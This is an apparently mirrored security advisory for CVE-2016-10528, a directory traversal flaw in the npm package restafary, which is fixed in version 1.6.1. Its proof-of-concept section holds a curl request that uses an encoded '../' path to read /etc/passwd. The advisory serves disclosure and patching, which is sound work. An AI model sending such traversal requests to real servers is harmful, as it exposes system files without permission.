Advisory

GHSA-xg5r-8j97-2wrj

Also known as: CVE-2016-10528

Summary

Directory Traversal in restafary

Details

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2019-02-18 23:39 UTC
Modified
2023-11-08 03:58 UTC

Affected packages and fixes

restafary

npm · All systems

Affected

  • introduced 0, fixed 1.6.1 (semver)

Fixed versions

1.6.1

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences